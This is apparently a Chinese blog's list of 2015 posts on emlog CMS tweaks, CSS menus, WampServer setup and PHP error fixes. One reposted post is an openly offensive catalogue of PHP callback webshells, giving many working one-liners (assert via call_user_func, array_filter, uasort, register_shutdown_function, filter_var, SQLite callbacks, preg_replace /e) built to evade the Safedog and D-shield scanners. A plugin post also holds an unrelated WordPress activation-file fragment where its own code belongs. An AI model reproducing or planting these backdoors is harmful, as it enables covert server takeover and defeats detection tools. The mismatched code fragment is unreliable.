修改emlog后台登录路径的方法 emlog

emlog后台登录地址的目录名称默认为admin,并且官方没有提供自定义后台登录入口名字的功能,这多少让我们觉得有些不安全,毕竟暴露一个网站的后台不是一件安全的事,今天就给您说下修改方法,增加一下网站的安全性。
虽然我们进入后台的地址是/admin,但其实真实的地址还是/admin/index.php。那么就先从这个文件开始下手,打开这/admin /index.php这个文件后,看到第7行require_once 'globals.php';这一句,也就是说在index.php运行之前会先加载globals.php这个文件,由文件路径可以看出这个文件是处于 当前文件夹中,找到并打开它。发现它又加载了一文件,是根目录的init.php。先不管它,先来看下面的,第9行
define('TEMPLATE_PATH', EMLOG_ROOT.'/admin/views/');
定义了一个后台模板路径的常量,这个路径经过登录接口目录,所以我们把它修改成你想要的名称,比如修改成我的ID,即
define('TEMPLATE_PATH', EMLOG_ROOT.'/mrxn/views/');
现在先不预览,因为可能还有没有修改的地方,免得会报错。继续往下看。
登录验证,没什么问题。退出,这个让我想到了平时点退出的时候,地址是/admin?action=logout,这里可以看到,它是在admin上加了一个logout的动作,所以我仔细看了一下它,但是没看出可以修改的地方。
那么我们开始看刚才引入的那个文件:init.php。打开这个文件。
由这个文件开头的注释:全局项加载,我们了解到,从现在开始,要开始大规模加载东西了,我想,如果下面还有需要修改的地方的,那修改会变得很麻烦,所以我 就此先打住,先测试一下,以现在的修改,有没有成功的可能性。我先是把后台登录的文件夹名称改成admin1,然后打开浏览器输入 http://localhost/admin1,打开后台入口,没有任何错误,接着输入账号密码登录,没有报错,我试着进行了各项操作,包括写日志等 等,没有出现异常,也就是说后台登录入口的修改至此成功。

总结一下,其实就两步:
1、修改根目录下admin的名称
2、admin/globals.php这个文件的第9行后面admin/views/中的admin改成你要的名称。
3、千万不要用记事本来修改核心文件,否则后果很严重。


修改Emlog后台默认列表显示条数

在include/model/log_model.php文件中找到

$limit = "LIMIT $start_limit, " . $perpage_num;

大概在147行的样子,改为

$limit = "LIMIT $start_limit, " . 1000;

其中1000表示现在所显示的条数



admin 发布于  2015-7-25 19:14 

emlog文章浏览数在规定的时间内算一次修改方法 emlog

文章浏览数在规定的时间内算一次修改方法(感谢EM开发QQ群@土著人宁巴)



找到include/controller/log_controller.php 大概102中



$Log_Model->updateViewCount($logid);



改为(其中86400为时间,单位为秒)就可以搞定了。





if(time()-intval($COOKIE['viewtime'.$logid])>86400){

$LogModel->updateViewCount($logid);

setcookie('viewtime
'.$logid,time());

}



另外附上按点击数排列文章的方法





找到include/controller/log_controller.php 大概19中



$sqlSegment ='ORDER BY top DESC ,date DESC';



top改为views即可。。



本人把方法分享给大家,希望对大家所帮助。



admin 发布于  2015-7-24 10:50 

css自适应宽度滑动门菜单 PHP

html css width 自适应

什么是CSS自适应宽度滑动门菜单?

CSS自适应宽度菜单指菜单的宽度可以随着内容的增加而变宽,就拿下边的实例来说,是按4个字的宽度来设计的,如果其中一项为5个字或更多,就放不下了。那么我们就需要让它的宽度可以随着内容的增减而变化,这就是css自适应宽度菜单。

自适应宽度按钮的效果是怎样的呢?

那么,自适应宽度按钮,是怎么实现的呢?

要想实现自适应宽度,需要在文字上增加一个辅助标签,如span,分别在a上和span上设置背景,一个左侧对齐,一个右侧对齐

绿色部分为span,然后定义它的背景图片靠右侧对齐,而左侧的部分为a的背景图片,定义靠左侧对齐。当文字多时,会把span撑开,这实现了自适应宽度的按钮了。这里需要一张如下的图片,它的宽度要宽于你所应用的最宽宽度,这样才能显示正常,同时根据以前学习的css Sprites技术,把背景图片和鼠标经过图片放到一张图片上。


admin 发布于  2015-7-23 15:42 

创造tips的秘籍——PHP回调后门(转载) 渗透测试

最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET'func'之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。

那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。

有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。

一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:

有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?

根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论: php中包含回调函数参数的函数,具有做后门的潜质。

我就自己给这类webshell起了个名字:回调后门。

0x01 回调后门的老祖宗

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

这个后门,狗和盾都可以查到(但是狗不会拦截):

可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:

call_userfuncarray('assert', array($_REQUEST['pass']));

call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:

可见,虽然狗不杀了,D盾还是聪明地识别了出来。

看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。

0x02 数组操作造成的单参数回调后门

进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。 我最早想到个最“简单好用的”:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_filter($arr, base64_decode($e));

array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):

这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):

类似array_filter,array_map也有同样功效:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_map(base64_decode($e), $arr);

依旧被D盾查杀。

果然,简单的数组回调后门,还是很容易被发现与查杀的。

0x03 php5.4.8+中的assert

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

比如如下回调后门:

$e = $_REQUEST['e'];

$arr = array('estt', $_REQUEST['pass']);

uasort($arr, base64_decode($e));

这个后门在php5.3时会报错,提示assert只能有一个参数:

php版本改作5.4后就可以执行了:

这个后门,狗和盾是都查不出来的:

同样的道理,这个也是功能类似:

$e = $_REQUEST['e'];

$arr = array('test' => 1, $_REQUEST['pass'] => 2);

<a href="http://yidianzixun.com/m/channel/keyword/uksort" ,="" style="border: none; text-decoration: none; outline: none; font-size: 16px; color: rgb(50, 97, 163); line-height: 27.2000007629395px; font-family: Oxygen, Arial, 'Hiragino Sans GB ', 'Microsoft YaHei', 微软雅黑, STHeiti, 'WenQuanYi Micro Hei', SimSun, sans-serif; text-align: justify; white-space: normal; background-color: rgb(246, 246, 246);">uksort($arr, $e);

再给出这两个函数,面向对象的方法:

// way 0

$arr = new ArrayObject(array('test', $_REQUEST['pass']));

$arr->uasort('assert');

// way 1

$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));

$arr->uksort('assert');

再来两个类似的回调后门:

$e = $_REQUEST['e'];

$arr = array(1);

$e = $_REQUEST['e'];

$arr = array($_POST['pass']);

$arr2 = array(1);

array_udiff($arr, $arr2, $e);

以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

0x04 三参数回调函数

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

php中,可以执行代码的函数:

1. 一个参数:assert

2. 两个参数:assert (php5.4.8+)

3. 三个参数:preg_replace /e模式

三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'] => '|.*|e',);

array_walk($arr, $e, '');

如图,这个后门可以在5.3下使用:

但强大的D盾还是有警觉(虽然只是等级2):

不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'] => '|.*|e',);

array_walk_recursive($arr, $e, '');

不截图了。

看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

另一个:

e<a href="http://yidianzixun.com/m/channel/keyword/echo" ,="">cho preg_filter('|.*|e', $_REQUEST['pass'], '');

这两个一句话都是不杀的:

好用的一句话,且用且珍惜呀。

0x05 无回显回调后门

回调后门里,有个特殊的例子:ob_start。

ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

ob_start('assert');

echo $_REQUEST['pass'];

ob_end_flush;

但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:

即使没输出,实际代码是执行了的。也算作回调后门的一种。

0x06 单参数后门终极奥义

preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。 这里给出几个好用不杀的回调后门

$e = $_REQUEST['e'];

register_shutdown_function($e, $_REQUEST['pass']);

这个是php全版本支持的,且不报不杀稳定执行:

再来一个:

$e = $_REQUEST['e'];

declare(ticks=1);

register_tick_function ($e, $_REQUEST['pass']);

再来两个:

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.

0x07 数据库操作与第三方库中的回调后门

回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。

我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:

$e = $_REQUEST['e'];

$db = new PDO('sqlite:sqlite.db3');

$db->sqliteCreateFunction('myfunc', $e, 1);

$sth = $db->prepare("SELECT myfunc(:exec)");

$sth->execute(array(':exec' => $_REQUEST['pass']));

执行之:

上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:

$e = $_REQUEST['e'];

$db = new SQLite3('sqlite.db3');

$db->createFunction('myfunc', $e);

$stmt = $db->prepare("SELECT myfunc(?)");

$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);

$stmt->execute;

前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。

这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。 比如php_yaml:

$str = urlencode($_REQUEST['pass']);

$yaml =

greeting: !{$str} "|.+|e"

EOD;

$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

还有php_memcached:

$mem = new Memcache;

$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));

$mem->connect($_REQUEST['pass'], 11211, 0);

自行研究吧。

0x08 其他参数型回调后门

上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。

preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。

所以我们需要去“构造”一个满足条件的回调函数。

怎么构造?使用create_function:

preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);

“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。 类似的,这个也同样:

mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);

再来一个利用CallbackFilterIterator方法的回调后门:

$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));

foreach ($iterator as $item) {

echo $item;

}

这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。

0x09 后记

这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。

实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。

简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞。


admin 发布于  2015-7-23 15:40 

EMLOG实现图片防盗链的方法(伪静态实现) emlog

用于防范emlog附件图片被其它网站盗链,本代码来源于em论坛,由qiukong编辑撰写,测试可正常运行,现再次分享给大伙,代码如下:


RewriteEngine on
RewriteBase /content
RewriteCond %{HTTP_REFERER} !^$ [NC]
RewriteCond %{HTTP_REFERER} !mrxn.net [NC]
RewriteCond %{HTTP_REFERER} !so.com [NC]
RewriteCond %{HTTP_REFERER} !soso.com [NC]
RewriteCond %{HTTP_REFERER} !sogou.com [NC]
RewriteCond %{HTTP_REFERER} !baidu.com [NC]
RewriteCond %{HTTP_REFERER} !bing.com [NC]
RewriteCond %{HTTP_REFERER} !google.com [NC]
RewriteRule .*\.(jpg|jpeg|png|bmp|gif)$ https://mrxn.net/daotu.gif [R,NC,L]

    在你的主机根目录新建文件.htaccess,加入上面的内容。(如果开启了伪静态已经有.htaccess,就把2~4行粘贴到</ifmodule>前面即可)

然后代码要进行一些修改,其中“mrxn.net”改为你的网站域名,“https://mrxn.net/daotu.gif”改成盗链网站显示的图片

该代码可防止content目录一切图片被盗链,如模板、附件等等。当然,你也可以增加可以使用图片的站,比如,你增加一个emlog.net 就是论坛.


RewriteCond %{HTTP_REFERER} !emlog.net [NC] 即可让图片在emlog论坛正确显示.




admin 发布于  2015-7-23 11:28 

Emlog实现最新头条文章标题加摘要显示代码 emlog

最新置顶头条文章标题加摘要显示的效果,把以下代码复制到module.php里面,如需调用分类置顶文章请把top='y'改为sortop='y'即可


<?php
//首页置顶头条,不带图片
function sheli_zdLog() {
$db = MySql::getInstance();
$sql = "SELECT gid,title,content,date FROM ".DB_PREFIX."blog WHERE type='blog' and top='y' ORDER BY `top` DESC ,`date` DESC LIMIT 0,1";
$list = $db->query($sql);
while($row = $db->fetch_array($list)){
//$row['content'] = htmlspecialchars($row['content']);
$row['content'] = strip_tags($row['content']);?>
<h1><a href="<?php echo Url::log($row['gid']); ?>" title="<?php echo $row['title']; ?>" target="_blank"><?php echo $row['title']; ?></a></h1>
<span class="note"><?php echo mb_substr($row['content'],0,85,'utf-8'); ?>...</span><a href="<?php echo Url::log($row['gid']); ?>" target="_blank">阅读全文>></a>    
<?php } ?>
<?php } ?>



如果需要带图片请使用下面代码放入module.php中,如需调用首页置顶文章请把sortop='y'改为top='y'即可



<?php //分类置顶头条,带图片
function sheli_zdLog(){ $db = MySql::getInstance(); $sql = $db->query ("SELECT * FROM ".DB_PREFIX."blog inner join ".DB_PREFIX."sort WHERE hide='n' AND type='blog' AND sortop='y' AND sortid=sid order by date DESC limit 0,5"); while($row = $db->fetch_array($sql)){ if (!empty($row['excerpt'])){ preg_match_all("/\<img.*?src\=\"(.*?)\"[^>]*>/i", $row['excerpt'], $match); if(empty($match[0][0])) { preg_match_all("/\<img.*?src\=\"(.*?)\"[^>]*>/i", $row['content'], $match); } }else{ preg_match_all("/\<img.*?src\=\"(.*?)\"[^>]*>/i", $row['content'], $match); } $logpost = !empty($row['excerpt']) ? $row['excerpt'] : ''.$row['content'].''; $num = rand(1,3); $img = isset($match[0][0]) ? $match[0][0] : '<img src="'.TEMPLATE_URL.'images/shuyong_net/'.$num.'.jpg">'; $date = gmdate('Y年m月d日', $row['date']); $content = strip_tags($logpost,''); $content = mb_substr($content,0,250,'utf-8');$comment = ($row['comnum'] != 0) ? '被吐槽<span>'.$row['comnum'].'</span>次' : '暂无吐槽'; $gid = $row['gid']; $tag = $db -> query("SELECT * FROM ".DB_PREFIX."tag WHERE gid LIKE '%,$gid,%'"); $out .='
<div class="flash_img2">
<div class="hdp_img"><a href="'.Url::log($row['gid']).'" title="'.$row['title'].'"   >'.$img.'</a></div>
<div class="hdp"><h4><a href="'.Url::log($row['gid']).'" title="'.$row['title'].'">'.$row['title'].'</a></h4>
<h5>日期:'.$date.'      分类:<a href="'.Url::sort($row['sortid']).'" title="查看 '.$row['sortname'].' 中的全部文章" rel="category tag">'.$row['sortname'].'</a>     共被围观 '.$row['views'].' 次    '.$comment.'</h5> 
<h6>'.$content.'...</h6></div></div>
'; } echo $out; }?>


以上未提供css代码,请自行折腾


admin 发布于  2015-7-22 23:35 

在 WampServer 上手工安装 PHP 的多个版本 PHP

手工安装新版本的PHP,只需以下步骤:

下载要安装的PHP版本。既然是用WampServer,那当然是下载Window版本的ZIP包啦:http://windows.php.net。解压到 Wamp的安装目录in\php\php5.2.17。这里以5.2.17为例。

进入 Wamp的安装目录in\php\php5.2.17 目录,从 php.ini-dist 或者 php.ini-recommended 复制一份,重命名为php.ini,适应修改php.ini配置(如extension_dir),再从php.ini复制一分,重命名为 phpForApache.ini。

从已有的版本目录中复制一份 wampserver.conf。比如我安装WampServer的时候已经有php5.3.0,在 Wamp的安装目录in\php\php5.3.0 目录下复制 wampserver.conf 到 Wamp的安装目录in\php\php5.2.17。

修改Wamp配置文件:进入 Wamp的安装目录,用IDE或记事本(最好使用行号定位的记事本,如EditPlus等)打开 wampmanager.ini,定位到 335 行,通常在这一行就是[phpVersion],如果不是,则在附近找找。复制下面一行:

Type: item; Caption: "5.3.0"; Action: multi; Actions:switchPhp5.3.0

插入到这一行前面,并修改为

Type: item; Caption: "5.2.17"; Action: multi; Actions:switchPhp5.2.17

再复制

[switchPhp5.3.0]

Action: service; Service: wampapache; ServiceAction: stop; Flags: ignoreerrors waituntilterminated

Action: run; FileName: "Wamp的安装目录/bin/php/php5.3.0/php-win.exe";Parameters: "switchPhpVersion.php 5.3.0";WorkingDir: "Wamp的安装目录/scripts"; Flags: waituntilterminated

Action: run; FileName: "Wamp的安装目录/bin/php/php5.3.0/php-win.exe";Parameters: "-c . refresh.php";WorkingDir: "Wamp的安装目录/scripts"; Flags: waituntilterminated

Action: run; FileName: "net"; Parameters: "start wampapache"; ShowCmd: hidden; Flags: waituntilterminated

Action: resetservices

Action: readconfig;

插入这一段之前,并修改为

[switchPhp5.2.17]

Action: service; Service: wampapache; ServiceAction: stop; Flags: ignoreerrors waituntilterminated

Action: run; FileName: "Wamp的安装目录/bin/php/php5.3.0/php-win.exe";Parameters: "switchPhpVersion.php 5.2.17";WorkingDir: "Wamp的安装目录/scripts"; Flags: waituntilterminated

Action: run; FileName: "Wamp的安装目录/bin/php/php5.3.0/php-win.exe";Parameters: "-c . refresh.php";WorkingDir: "Wamp的安装目录/scripts"; Flags: waituntilterminated

Action: run; FileName: "net"; Parameters: "start wampapache"; ShowCmd: hidden; Flags: waituntilterminated

Action: resetservices

Action: readconfig;

退出WampServer,再重启。完成。

通过这5步,即可完成PHP任意版本的安装。

标签: 编程 分享 php

admin 发布于  2015-7-22 21:28 

emlog插件 ---- SyntaxHighlighter 代码高亮2.2更新 emlog

此款emlog插件有以下功能:

  • 代码高亮(包含十几种常见代码自动高了着色);
  • pre标签自动换行(妈妈再也不用担心我的代码过长显示不全了-_-|);
  • 可复制,点击一下即可复制代码到剪贴板,方便使用;
  • 可新窗口查看代码,进行其他操作;
  • 可打印(貌似没啥用 -_-|)
  • 暂时就这么多.

有如下不足:

由于emlog 5.1.0版本采用KindEditor新版本,不支持原来的方法,因此不再支持5.1.0及以下版本

如果你的文章页或者是css中对pre标签有空值作用,可能会有bug显示.可自行调试解决,或者联系我,我会尽力帮你解决.

兼容性不是太好,如果安装后发现不能正常使用,请检查是否是某款插件冲突导致.

使用方法:

第一步:通过后台插件安装地址,上传安装插件,如果失败(一般是空间不支持)

请解压后用FTP上传至  网站根目录/content/plugins/ 路径下

第二步:在插件设置页面刷新,激活即可

<?php
/**
 * Confirms that the activation key that is sent in an email after a user signs
 * up for a new blog matches the key for that user and then displays confirmation.
 *
 * @package WordPress
 */

define( 'WP_INSTALLING', true );

/** Sets up the WordPress Environment. */
require( dirname(__FILE__) . '/wp-load.php' );

require( dirname( __FILE__ ) . '/wp-blog-header.php' );

if ( !is_multisite() ) {
    wp_redirect( site_url( '/wp-login.php?action=register' ) );
    die();
}

if ( is_object( $wp_object_cache ) )
    $wp_object_cache->cache_enabled = false;

// Fix for page title
$wp_query->is_404 = false;

/**
 * Fires before the Site Activation page is loaded.
 *
 * @since 3.0.0
 */
do_action( 'activate_header' );

/**
 * Adds an action hook specific to this page that fires on wp_head
 *
 * @since MU
 */
function do_activate_header() {
    /**
     * Fires before the Site Activation page is loaded, but on the wp_head action.
     *
     * @since 3.0.0
     */
    do_action( 'activate_wp_head' );
}
add_action( 'wp_head', 'do_activate_header' );

/**
 * Loads styles specific to this page.
 *
 * @since MU
 */
function wpmu_activate_stylesheet() {
    ?>
    <style type="text/css">
        form { margin-top: 2em; }
        #submit, #key { width: 90%; font-size: 24px; }
        #language { margin-top: .5em; }
        .error { background: #f66; }
        span.h3 { padding: 0 8px; font-size: 1.3em; font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; font-weight: bold; color: #333; }
    </style>
    <?php
}
add_action( 'wp_head', 'wpmu_activate_stylesheet' );

get_header();
?>



插件下载:et_highlighter51.zip 备份链接:http://pan.baidu.com/s/1jGvqycI

欢迎大家下载使用,转载请注明出处,谢谢. Powered By Mrxn  https://mrxn.net

标签: 代码 php emlog

admin 发布于  2015-7-22 01:30 

php学习小计处理几个常见的错误 PHP

Deprecated: Function ereg_replace() is deprecated

在php5.3.0后的版本,取消了对ereg函数的支持,惹得若干程序需要改动,譬如我安装的zen-card1.3.8,颇不方便。
错误:Deprecated: Function ereg() is deprecated in ……
解决方法一:退回去用php5.2。(众人皆赞道:果是好法子!)

解决方法二:继续用php5.3,但是修改devel/devel.modul的460行:if ($errno & (E_ALL ^ E_NOTICE)) {改为if ($errno & (E_ALL & ~E_NOTICE & ~E_DEPRECATED)) {把丫deprecated错误给忽略掉。(众人皆又赞道:果……果……果是好法子!)

解决方法三:动程序鸟,把ereg换成preg_match,ereg_replace也需得换成preg_replace。只得注意的是ereg("^[0-9]")    需修改成   preg_match("/^[0-9]/") 无敌//必须加,哈哈。(众人皆俯首赞道:王道也!)



PHP之短标签开启设置

//php.ini中

short_open_tag = On

//除<?php ?>,可使用更灵活的调用方法

<? /*程序操作*/ ?>

<?=/*函数*/?>

这样可以解决很多错误.比如提示错误在某代码最后一行.


Deprecated: Function set_magic_quotes_runtime() is deprecated in
原因高版本的php把set_magic_quotes_runtime去了,解决办法:

//把
set_magic_quotes_runtime(0);
//替代成
ini_set("magic_quotes_runtime",0);

即可解析了.

标签: 编程 代码 php

admin 发布于  2015-7-21 20:21 

emlog教程--为网页添加动态背景 (背景轮播) emlog

以前文章 最近发现一个插件所以重新更新下本文

插件名称: jquery.backstretch.js

下面是 示例代码:

设置网页背景:

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>全屏背景</title>
    <script src="http://api.asilu.com/cdn/jquery.js,jquery.backstretch.min.js" type="text/javascript"></script>
</head>
<body>
<script type="text/javascript">
$.backstretch('http://api.asilu.com/cdn/img/bg/444.jpg');
</script>
</body>
</html>
多张张图片切换:

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>全屏背景切换</title>
    <script src="http://api.asilu.com/cdn/jquery.js,jquery.backstretch.min.js" type="text/javascript"></script>
</head>
<body>
<script type="text/javascript">
$.backstretch([
        'http://api.asilu.com/cdn/img/bg/444.jpg',
        'http://api.asilu.com/cdn/img/bg/445.jpg',
        'http://api.asilu.com/cdn/img/bg/446.jpg',
        'http://api.asilu.com/cdn/img/bg/447.jpg',
        'http://api.asilu.com/cdn/img/bg/448.jpg'
    ], {
        fade : 1000, // 动画时长
        duration : 2000 // 切换延时
});
</script>
</body>
</html>
该代码实现了, 背景图片的切换,带有切换效果的
第一个版本 切换效果用到了 jQuery 的动画,这个版本果断放弃 不需要 jQuery切换动画由CSS设置

具体代码如下
CSS 样式
JS 代码
HTML 就一个 div#bg简单实用

<meta http-equiv="Content-Type"content="text/html; charset=UTF-8"/>
<style>
div#bg {
  position: fixed;
  top: 0;
  left: 0;
  height: 100%;
  width: 100%;
  z-index: -10;
  background-position: center 0;
  background-repeat: no-repeat;
  background-attachment: fixed;
  background-size: cover;
  -webkit-background-size: cover;
  -o-background-size: cover;
  zoom: 1;

  opacity:1;
  transition: opacity 1s linear;
  -moz-transition: opacity 1s linear;
  -webkit-transition: opacity 1s linear;
  -o-transition: opacity 1s linear;
}
</style>
<h1><a href="http://gouji.org/?post=317">代码出处</a></h1>
<div id="bg"></div>
<script>
// 定义图片路径 {num} 为 可变的图片序号
var bgImgUrl = 'http://api.asilu.com/cdn/img/bg/{num}.jpg', bgNum,
    bgImgArr = [],
    bgDiv = document.getElementById("bg");
// 组合数组 此处 200 为 图开始序号 结束 210
for (var i=200; i <= 210; i++){
  bgImgArr.push(bgImgUrl.replace('{num}', i));
}
setBGimg();
function setBGimg(d){
  if(!bgNum || bgNum > bgImgArr.length) bgNum = 0;
  bgDiv.style.opacity = .001;
  setTimeout(function(){
    bgDiv.style.backgroundImage = 'url('+ bgImgArr[bgNum] +')';
    bgDiv.style.opacity = 1;
  }, 1000);
  bgNum++;
  if(typeof d == 'undefined') 
    setInterval(function(){setBGimg(true);}, 6000);
    // 上一行的 6000 是背景图片自动切换时间(单位 毫秒)
}
</script>
原文为简爱博客,地址:http://www.gouji.org/?post=317


admin 发布于  2015-7-20 21:23